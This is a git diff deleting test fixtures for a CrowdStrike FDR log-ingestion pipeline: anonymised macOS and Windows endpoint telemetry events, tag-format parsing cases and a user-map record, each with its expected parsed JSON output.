-                "ContextBaseFileName": "d66187f4b1779e",
-                "ContextProcessId": "140060400067209000",
-                "ContextTimeStamp": "2025-07-20T16:51:47.865Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "36",
-                "EventOrigin": "1",
-                "FileCategory": "1",
-                "IsOnRemovableDisk": "0",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "f6d443ab644ffa64617a90936d6da555f0a2",
-                "name": "e7ebdc66589c6ae4b87"
-            },
-            "device": {
-                "id": "3e32d11b9db211e438bf9141dbc31d85"
-            },
-            "event": {
-                "action": "TarFileWritten",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "f6d443ab644ffa64617a90936d6da555f0a2|3e32d11b9db211e438bf9141dbc31d85|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ContextBaseFileName\":\"d66187f4b1779e\",\"event_simpleName\":\"TarFileWritten\",\"ContextTimeStamp\":\"1753030307.865\",\"UserName\":\"2e31bb4e4604be73a\",\"FileCategory\":\"1\",\"ConfigStateHash\":\"35043379\",\"ContextProcessId\":\"140060400067209000\",\"Size\":\"534039\",\"ContextThreadId\":\"0\",\"aip\":\"2a02:cf40::2\",\"FileIdentifier\":\"3b7b608416a719d90a344bdba01d8228aafc7c819070c9b1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"36\",\"name\":\"e7ebdc66589c6ae4b87\",\"EventOrigin\":\"1\",\"id\":\"f6d443ab644ffa64617a90936d6da555f0a2\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"3e32d11b9db211e438bf9141dbc31d85\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/715dc84/c86/63b8533/88/a4b8bdf4/e/c72029b7.amsengagementd/65f98121/54b13478/097fc6a5\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "/715dc84/c86/63b8533/88/a4b8bdf4/e/c72029b7.amsengagementd/65f98121/54b13478",
-                "inode": "3b7b608416a719d90a344bdba01d8228aafc7c819070c9b1",
-                "name": "097fc6a5",
-                "path": "/715dc84/c86/63b8533/88/a4b8bdf4/e/c72029b7.amsengagementd/65f98121/54b13478/097fc6a5",
-                "size": 534039,
-                "type": "file"
-            },
-            "host": {
-                "id": "3e32d11b9db211e438bf9141dbc31d85",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "TarFileWritten",
-            "observer": {
-                "address": [
-                    "2a02:cf40::2"
-                ],
-                "geo": {
-                    "continent_name": "Europe",
-                    "country_iso_code": "NO",
-                    "country_name": "Norway",
-                    "location": {
-                        "lat": 62.0,
-                        "lon": 10.0
-                    }
-                },
-                "ip": [
-                    "2a02:cf40::2"
-                ],
-                "serial_number": "3e32d11b9db211e438bf9141dbc31d85",
-                "version": "2c8b.4.b224e8a.4f"
-            },
-            "process": {
-                "entity_id": "140060400067209000",
-                "name": "d66187f4b1779e",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "35043379"
-                ],
-                "ip": [
-                    "2a02:cf40::2"
-                ],
-                "user": [
-                    "2e31bb4e4604be73a"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "2e31bb4e4604be73a"
-            }
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "95043379",
-                "ContextBaseFileName": "6f79cfc3feaa775",
-                "ContextProcessId": "403000009094400601",
-                "ContextTimeStamp": "2025-09-09T08:00:34.724Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "36",
-                "EventOrigin": "1",
-                "FileCategory": "1",
-                "IsOnRemovableDisk": "0",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "2633213df12f91013279bef1b12ce10d2c67",
-                "name": "708df495f98345bf516"
-            },
-            "device": {
-                "id": "b1e14abeaf9680c3f0b9be1f18550235"
-            },
-            "event": {
-                "action": "XarFileWritten",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "2633213df12f91013279bef1b12ce10d2c67|b1e14abeaf9680c3f0b9be1f18550235|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"ContextBaseFileName\":\"6f79cfc3feaa775\",\"event_simpleName\":\"XarFileWritten\",\"ContextTimeStamp\":\"1757404834.724\",\"UserName\":\"f27ee237062cfd9\",\"FileCategory\":\"1\",\"ConfigStateHash\":\"95043379\",\"ContextProcessId\":\"403000009094400601\",\"Size\":\"1000870\",\"ContextThreadId\":\"0\",\"aip\":\"81.2.69.144\",\"FileIdentifier\":\"0719dbad2bd8784ce381fc2907136d67a3ed4d99147af3a1\",\"ConfigBuild\":\"2c8b.4.b224e8a.4f\",\"event_platform\":\"Mac\",\"IsOnRemovableDisk\":\"0\",\"Entitlements\":\"36\",\"name\":\"708df495f98345bf516\",\"EventOrigin\":\"1\",\"id\":\"2633213df12f91013279bef1b12ce10d2c67\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"b1e14abeaf9680c3f0b9be1f18550235\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/715dc84/c86/63b8533/4a/c2c108fe/e/5ac3b070/5ef9b1be.pkg\"}",
-                "outcome": "success",
-                "type": [
-                    "creation"
-                ]
-            },
-            "file": {
-                "directory": "/715dc84/c86/63b8533/4a/c2c108fe/e/5ac3b070",
-                "extension": "pkg",
-                "inode": "0719dbad2bd8784ce381fc2907136d67a3ed4d99147af3a1",
-                "name": "5ef9b1be.pkg",
-                "path": "/715dc84/c86/63b8533/4a/c2c108fe/e/5ac3b070/5ef9b1be.pkg",
-                "size": 1000870,
-                "type": "file"
-            },
-            "host": {
-                "id": "b1e14abeaf9680c3f0b9be1f18550235",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "XarFileWritten",
-            "observer": {
-                "address": [
-                    "81.2.69.144"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "serial_number": "b1e14abeaf9680c3f0b9be1f18550235",
-                "version": "2c8b.4.b224e8a.4f"
-            },
-            "process": {
-                "entity_id": "403000009094400601",
-                "name": "6f79cfc3feaa775",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "95043379"
-                ],
-                "ip": [
-                    "81.2.69.144"
-                ],
-                "user": [
-                    "f27ee237062cfd9"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "f27ee237062cfd9"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log
deleted file mode 100644
index 4789a85c5b..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log
+++ /dev/null
@@ -1,4 +0,0 @@
-{"Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705"}
-{"Tags":{"Name":"service-worker-storage.aws-id","Owner":"serviceowner","Partition":"partitionname","Service":"ServiceName","Subcluster":"blue","Costcenter":"servicerunner","Email":"user@example.com","Environment":"prod"}}
-{"Tags":[{"Key":"Name","ValueString":"service-worker-storage.aws-id"},{"Key":"Owner","ValueString":"serviceowner"},{"Key":"Partition","ValueString":"partitionname"},{"Key":"Service","ValueString":"ServiceName"},{"Key":"Subcluster","ValueString":"blue"},{"Key":"Costcenter","ValueString":"servicerunner"},{"Key":"Email","ValueString":"user@example.com"},{"Key":"Environment","ValueString":"prod"}]}
-{"Tags":["312","11544872091698","21990232555653","21990232555859","26388279066700","26388279066703","26388279066704","26388279066705"]}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log-expected.json
deleted file mode 100644
index 9374df97a3..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log-expected.json
+++ /dev/null
@@ -1,88 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2020-04-28T11:07:58.223Z",
-            "crowdstrike": {
-                "Tags": [
-                    "312",
-                    "11544872091698",
-                    "21990232555653",
-                    "21990232555859",
-                    "26388279066700",
-                    "26388279066703",
-                    "26388279066704",
-                    "26388279066705"
-                ]
-            },
-            "event": {
-                "original": "{\"Tags\":\"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705\"}"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-04-28T11:07:58.223Z",
-            "crowdstrike": {
-                "Tags": [
-                    "Partition:partitionname",
-                    "Owner:serviceowner",
-                    "Costcenter:servicerunner",
-                    "Email:user@example.com",
-                    "Service:ServiceName",
-                    "Environment:prod",
-                    "Subcluster:blue",
-                    "Name:service-worker-storage.aws-id"
-                ]
-            },
-            "event": {
-                "original": "{\"Tags\":{\"Name\":\"service-worker-storage.aws-id\",\"Owner\":\"serviceowner\",\"Partition\":\"partitionname\",\"Service\":\"ServiceName\",\"Subcluster\":\"blue\",\"Costcenter\":\"servicerunner\",\"Email\":\"user@example.com\",\"Environment\":\"prod\"}}"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-04-28T11:07:58.223Z",
-            "crowdstrike": {
-                "Tags": [
-                    "Name:service-worker-storage.aws-id",
-                    "Owner:serviceowner",
-                    "Partition:partitionname",
-                    "Service:ServiceName",
-                    "Subcluster:blue",
-                    "Costcenter:servicerunner",
-                    "Email:user@example.com",
-                    "Environment:prod"
-                ]
-            },
-            "event": {
-                "original": "{\"Tags\":[{\"Key\":\"Name\",\"ValueString\":\"service-worker-storage.aws-id\"},{\"Key\":\"Owner\",\"ValueString\":\"serviceowner\"},{\"Key\":\"Partition\",\"ValueString\":\"partitionname\"},{\"Key\":\"Service\",\"ValueString\":\"ServiceName\"},{\"Key\":\"Subcluster\",\"ValueString\":\"blue\"},{\"Key\":\"Costcenter\",\"ValueString\":\"servicerunner\"},{\"Key\":\"Email\",\"ValueString\":\"user@example.com\"},{\"Key\":\"Environment\",\"ValueString\":\"prod\"}]}"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-04-28T11:07:58.223Z",
-            "crowdstrike": {
-                "Tags": [
-                    "312",
-                    "11544872091698",
-                    "21990232555653",
-                    "21990232555859",
-                    "26388279066700",
-                    "26388279066703",
-                    "26388279066704",
-                    "26388279066705"
-                ]
-            },
-            "event": {
-                "original": "{\"Tags\":[\"312\",\"11544872091698\",\"21990232555653\",\"21990232555859\",\"26388279066700\",\"26388279066703\",\"26388279066704\",\"26388279066705\"]}"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log
deleted file mode 100644
index 7dc9568c3f..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log
+++ /dev/null
@@ -1 +0,0 @@
-{"AccountType":"Domain User","LastLoggedOnHost":"COMPUTER1","LocalAdminAccess":"No","LogonInfo":"Domain User Logon","LogonTime":"1702546157.197","LogonType":"Interactive","PasswordLastSet":"1699971198.062","User":{"Name":"DOMAIN\\BRADLEYA","ID":"1000"},"UserIsAdmin":"0","UserLogonFlags_decimal":"0","UserSid_readable":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","_time":"1702546169.576","cid":"ffffffff15754bcfb5f9152ec7ac90ad","event_platform":"Win","monthsincereset":"1.0"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log-expected.json
deleted file mode 100644
index 3b719491e2..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log-expected.json
+++ /dev/null
@@ -1,43 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2023-12-14T09:29:29.576Z",
-            "crowdstrike": {
-                "AccountType": "Domain User",
-                "LastLoggedOnHost": "COMPUTER1",
-                "LocalAdminAccess": "No",
-                "LogonInfo": "Domain User Logon",
-                "LogonTime": "2023-12-14T09:29:17.197Z",
-                "LogonType": "Interactive",
-                "PasswordLastSet": "1699971198.062",
-                "UserLogonFlags_decimal": "0",
-                "UserSid_readable": "S-1-12-1-3697283754-1083485977-2164330645-2516515886",
-                "cid": "ffffffff15754bcfb5f9152ec7ac90ad",
-                "monthsincereset": "1.0"
-            },
-            "event": {
-                "created": "2023-12-14T09:29:29.576Z",
-                "id": "||ffffffff15754bcfb5f9152ec7ac90ad",
-                "original": "{\"AccountType\":\"Domain User\",\"LastLoggedOnHost\":\"COMPUTER1\",\"LocalAdminAccess\":\"No\",\"LogonInfo\":\"Domain User Logon\",\"LogonTime\":\"1702546157.197\",\"LogonType\":\"Interactive\",\"PasswordLastSet\":\"1699971198.062\",\"User\":{\"Name\":\"DOMAIN\\\\BRADLEYA\",\"ID\":\"1000\"},\"UserIsAdmin\":\"0\",\"UserLogonFlags_decimal\":\"0\",\"UserSid_readable\":\"S-1-12-1-3697283754-1083485977-2164330645-2516515886\",\"_time\":\"1702546169.576\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ad\",\"event_platform\":\"Win\",\"monthsincereset\":\"1.0\"}"
-            },
-            "host": {
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "related": {
-                "user": [
-                    "DOMAIN\\BRADLEYA",
-                    "1000"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "1000",
-                "name": "DOMAIN\\BRADLEYA"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log
deleted file mode 100644
index ee90ee5f35..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log
+++ /dev/null
@@ -1,121 +0,0 @@
-{"event_simpleName":"AsepKeyUpdate","ContextTimeStamp":"1755155954.441","AsepFlags":"3","ConfigStateHash":"4001039063","ContextProcessId":"3007920321347","AsepClass":"7","AsepIndex":"5","ContextThreadId":"416006001900040","aip":"81.2.69.144","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\2345e09c","RegOperationType":"5","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","AsepValueType":"0","TokenType":"1","Entitlements":"66","name":"d86b419894d5423","EventOrigin":"1","id":"6b69e784610ff3e5da99cb6f884fbb59c197","EffectiveTransmissionClass":"3","aid":"061f50de227f377d5a1cbbcda2493711","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"AsepFlags":"0","ContextThreadId":"970373501024004","aip":"81.2.69.144","RegObjectName":"\\85aaee17\\92b7\\f33b4a1f\\02413\\4e7075fa\\25f3666b","Data1":"31","RegOperationType":"1","event_platform":"Win","TokenType":"1","TargetCommandLineParameters":"8 -c07e1208b8efbe","EventOrigin":"1","id":"1165d56b44df464d4a3dd26905c78ac2c7e5","EffectiveTransmissionClass":"3","RegStringValue":"5f20a496dc8 5a466679365aa2804afae1a00b30b36c79e668eb74694db65d32d3 -c07e1208b8efbe","timestamp":"1743508799999","event_simpleName":"AsepValueUpdate","ContextTimeStamp":"1756280738.081","ConfigStateHash":"204061009","RegType":"1","ContextProcessId":"47593002510450","AsepClass":"94","AsepIndex":"600","AuthenticationId":"7054705","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"","AsepValueType":"0","TargetSHA256HashData":"36e5b125bb636648d267e966435b7e650acf78c002f65d07d282e501838a0906","Entitlements":"96","name":"8f3c176fdab74b6c9","aid":"f929742c2e4bd22b1829b6206b1dc84b","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\f5be3\\e5cdd471\\94554fd8.exe"}
-{"ContextThreadId":"615659447400000","aip":"81.2.69.142","event_platform":"Win","TokenType":"1","EventOrigin":"1","InterfaceGuid":"3c1edad779c6920ba025d32fc1d69997cc40","RpcClientProcessId":"4508060034060","id":"eedef0c0fc042e28949c251e42e913cb3fe6","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"BITSJobCreated","ContextTimeStamp":"1749668048.903","UserName":"d38b4ca4","ConfigStateHash":"9968901000","ContextProcessId":"3100000500830","InterfaceVersion":"0","RpcClientThreadId":"207001810400038","AuthenticationId":"70760008","ConfigBuild":"2c8b.4.ae3729d.e6","RpcOpNum":"4","Entitlements":"76","name":"11cf958b636de07e","aid":"082e3fde13bab854ebe72df7d1543cae","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\d38b4ca4\\0f51ad6\\8c31e\\d62f\\6\\1e547bc1\\7c2816f5.crx3"}
-{"ThreadStartAddress":"800560009080720","InjectedThreadFlag":"2","ContextThreadId":"500030143990970","aip":"89.160.20.128","event_platform":"Win","UserThread":"1","EventOrigin":"1","id":"f6f3399ea7912626def5330fbc430ff02ac2","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"BrowserInjectedThread","TargetThreadId":"104623560606010","RawProcessId":"76850","ContextTimeStamp":"1757533928.090","ConfigStateHash":"50820000","ContextProcessId":"1107334096070","ThreadStartContext":"0","ConfigBuild":"2c8b.4.ae3729d.e6","TargetProcessId":"7011710205985","Entitlements":"76","name":"126bc261e48aa7159043700","RawThreadId":"20602","aid":"1b044c25005f7f866e92ee245376c69e","SourceThreadStartAddress":"380906022020800","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"CommandHistory","CommandHistory":"41c56f9bd5471921f1ad5eb1eaa88bd7d4dcce1feb86682fa","FirstCommand":"0","CommandCountMax":"983","ApplicationName":"7371f07","ConfigStateHash":"7040662006","LastDisplayed":"0","aip":"81.2.69.192","LastAdded":"2","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","TargetProcessId":"3502200260267","Entitlements":"96","name":"b42a7420dfe70b77","EventOrigin":"1","id":"7f67dc98da59af9b207392dd643b6696521d","CommandCount":"3","EffectiveTransmissionClass":"3","aid":"985fa1e64b797b6a5e673a83fdc68828","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"RemoteAddressIP6":"2a02:cf40::2","ObjectNameEtw":"4355e623406251da1e189448d464d6e80e14d22","aip":"81.2.69.144","UserSid":"S-25368-38230-13235","event_platform":"Win","ObjectTypeEtw":"4355e623406251da1e189448d464d6e80e14d22","ClientComputerName":"-","EventOrigin":"45","id":"027ea26f253aa77e2fcf588772b9d2d6f37c","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DCSyncAttempted","ContextTimeStamp":"1749398112.834","UserName":"1611e7b","ConfigStateHash":"3400520000","EtwRawProcessId":"835","ContextProcessId":"7067360709400","SubjectDomainNameEtw":"61","AuthenticationId":"6420000067","ServiceAccessPropertiesEtw":"f09108f09a58a2500acb1467b469a2482115dae25b82b71b7551ed70600a57e9","ConfigBuild":"2c8b.4.ae3729d.e6","Entitlements":"46","name":"68a40a05895ff9a35","aid":"350ffb0329569649f8bac872d658cbfc","cid":"4092825518eaf67377a6e4492ae44577"}
-{"aip":"216.160.83.56","BoundingLimitCount":"1","UserSid":"S-86813-72426-80065-35729-11846-72517-75085","AllowlistingFilterId":"a3ea8710853f4e1e7","event_platform":"Win","PatternId":"607","EventOrigin":"5","ContextData":"","id":"01a0844d7700635d462669bbadb475d7dcf1","EventCorrelationId":"07103f94d0545ee24951b8c8ce76a5023743","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DetectionExcluded","ContextTimeStamp":"1758023898.952","ConfigStateHash":"4080600092","ConfigBuild":"2c8b.4.ae3729d.e6","CommandLine":"82\\ab7e5c1\\d24e5507\\12ab4d0.exe /Processid:{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","TargetProcessId":"6010945098000","BoundingLimitDuration":"3486640","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\d24e5507\\7d7f62b.exe","ExclusionType":"1","Entitlements":"56","name":"b7f0eea0ced34df529cc","ExclusionSource":"5","aid":"016ef640d4add7c7c7e72a5bfc4198c0","cid":"4092825518eaf67377a6e4492ae44577"}
-{"Options":"53790000","ContextThreadId":"32005063951800","MinorFunction":"0","aip":"81.2.69.192","FileIdentifier":"28476710775acf368038686c22c97be5f159b0efaeb459a6","Information":"2","event_platform":"Win","ShareAccess":"3","EventOrigin":"1","id":"245b89777adfd68f4020de1758e56c4467f6","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"274","timestamp":"1743508799999","Status":"0","event_simpleName":"DirectoryCreate","ContextTimeStamp":"1759459284.824","ConfigStateHash":"710307050","ContextProcessId":"7173090406564","IrpFlags":"2500","HandleCreateAuthenticationId":"4000900","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"5065411","Entitlements":"66","name":"b44ad77e88405a082","OperationFlags":"0","aid":"cd2ef6603266196efe9f1ac402a1586a","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\7392ca2\\0f51ad6\\813ded8\\c7bac469\\d598026\\43ae32\\664edf91"}
-{"event_simpleName":"DllInjection","TargetThreadId":"505479000700240","RawProcessId":"7310","ThreadStartAddress":"947500501770690","InjectedThreadFlag":"530","ContextTimeStamp":"1758159328.572","ConfigStateHash":"540271348","ContextProcessId":"3006607000981","ContextThreadId":"140004900194068","aip":"81.2.69.192","ThreadStartContext":"9177300087920","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"3000303437040","Entitlements":"96","name":"8b6eec62b5f5f7","EventOrigin":"1","RawThreadId":"5008","id":"92855d0df8f2251c1dfe0bd7d56a97128a25","EffectiveTransmissionClass":"3","aid":"8fb3daf730de8e73c353f0c4137a51b5","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","InjectedDll":"82\\9134161b\\f3acb4df\\a89bcae.dll"}
-{"FileOperatorSid":"S-13859-13680-73630","ContextBaseFileName":"77b1704b6a85","FileCategory":"9","Size":"50050070","ContextThreadId":"600003001070039","MinorFunction":"0","aip":"81.2.69.142","IsOnNetwork":"0","FileIdentifier":"c4b36cdfcd6d35ec22308c305c6a5bfa78d4446695d532ae","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\c23eadb9","id":"b44b58becebd48898306ffd6600bf3f42c16","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DmpFileWritten","ContextTimeStamp":"1746804138.874","ConfigStateHash":"450007109","ContextProcessId":"60860076031000","IrpFlags":"0","AuthenticationId":"864","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.bab7095.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"16","name":"bf62ca8a93b1c6730","OperationFlags":"0","aid":"61f77498beebf89847bcda33f8541689","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\6666d9f1\\d140261e\\0f51ad6\\8c31e\\036b01a3\\50f6b654.dmp"}
-{"ContextBaseFileName":"c43bc2658","DnsResponseType":"2","IP4Records":"14.241.850.329;92.242.918.779;32.139.851.764;37.484.149.009;06.463.424.022;75.649.915.217;42.359.155.282;01.799.300.833;","ContextThreadId":"908409701000008","aip":"81.2.69.142","CNAMERecords":"0242a563bf947794c2b4356c60c170cba5a45849f27dc9ddb05558f3e3d37823","QueryStatus":"0","InterfaceIndex":"0","event_platform":"Win","DualRequest":"1","EventOrigin":"1","id":"77a6567f5ba2f4450eb816e24c5b0258f4b5","EffectiveTransmissionClass":"3","FirstIP4Record":"216.160.83.56","timestamp":"1743508799999","event_simpleName":"DnsRequest","ContextTimeStamp":"1748744822.996","ConfigStateHash":"1263130834","ContextProcessId":"5002051210496","DomainName":"2ca55df2a79d27d771dacfc7ae97","RespondingDnsServer":"89.160.20.112","ConfigBuild":"2c8b.4.ae3729d.e6","DnsRequestCount":"1","Entitlements":"56","name":"76e889534419","aid":"98148f3ab8db6d0cad5ad44fc9f4f5c7","cid":"4092825518eaf67377a6e4492ae44577","RequestType":"59"}
-{"ThreadStartAddress":"90100003090313109007","InjectedThreadFlag":"85","ContextThreadId":"100705003833870","aip":"81.2.69.142","event_platform":"Win","UserThread":"0","EventOrigin":"1","id":"14a56745976c34e322ccc9af234e692acf35","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DocumentProgramInjectedThread","TargetThreadId":"209175000090105","RawProcessId":"90010","ContextTimeStamp":"1762971058.579","ConfigStateHash":"2080025170","ContextProcessId":"7202603200007","ThreadStartContext":"60307800056300500065","ConfigBuild":"2c8b.4.bab7095.e6","TargetProcessId":"7602000306800","Entitlements":"96","name":"107f10bd7e2cf68ce87171d8f974b76","RawThreadId":"53040","aid":"73204dfc79175de6cc76f2ae7674dc76","SourceThreadStartAddress":"970004800500552","cid":"4092825518eaf67377a6e4492ae44577"}
-{"AuthenticodeHashDataSHA256":"1645e9642007207f17d4a71d3e4e9e65ac42ce640f5fdfb7a12343c87865f65f","ContextThreadId":"85060031003208","aip":"81.2.69.142","CompanyName":"5951da04edaa9198b1b04","event_platform":"Win","OriginalFilename":"c11d9e9772e","FileVersion":"359b2589a3456ff7703750b83f34717d70893f","ImageCheckSum":"30890","EventOrigin":"45","id":"8f8e5d48a0828ec900552833b592f6bf3137","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DriverLoad","ContextTimeStamp":"1750118563.660","ConfigStateHash":"4001039063","ContextProcessId":"917013009605","DriverLoadFlags":"0","ImageEntryPoint":"60900","MD5HashData":"7d60d20014499abbe980e8a3e9d3e480","SHA256HashData":"eda078559539e1ddf5f425d3e5263caa0898368aadb13ddf92bb23154540cf6a","ConfigBuild":"2c8b.4.ae3729d.e6","FixedFileVersion":"4a.5.36b21.78c5","ImageFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\2080358.sys","ImageTimeStamp":"7506201701","Entitlements":"96","name":"971d60ec4961","aid":"eb87d6ed52531c4d56701eb0f3bdef5d","cid":"4092825518eaf67377a6e4492ae44577"}
-{"FileOperatorSid":"S-12089-81901-75723-71071-93418-35753-29602","ContextBaseFileName":"4e526e33d5","FileCategory":"4","Size":"100488","ContextThreadId":"118504067206871","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"1","FileIdentifier":"78106833f17fd4e9058f72f38c91f6f1a8740d4b81d7e286","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"1a93966150b37eeb4506fb5d576569366fbe","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"DwgFileWritten","ContextTimeStamp":"1763142957.475","ConfigStateHash":"2080025170","ContextProcessId":"5924007850208","IrpFlags":"0","AuthenticationId":"8650000","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.bab7095.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"73a9d655524e1b4a5","OperationFlags":"0","aid":"8a519558e0f7e42814948bf046b8e5c8","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\fef\\778d6b84\\cf0dca8d\\e747bc\\a4d268\\0d\\0caedded\\04e2a972\\0a032162\\1ce31250\\ab51ae45\\70acbb39\\bbac47ce.tmp"}
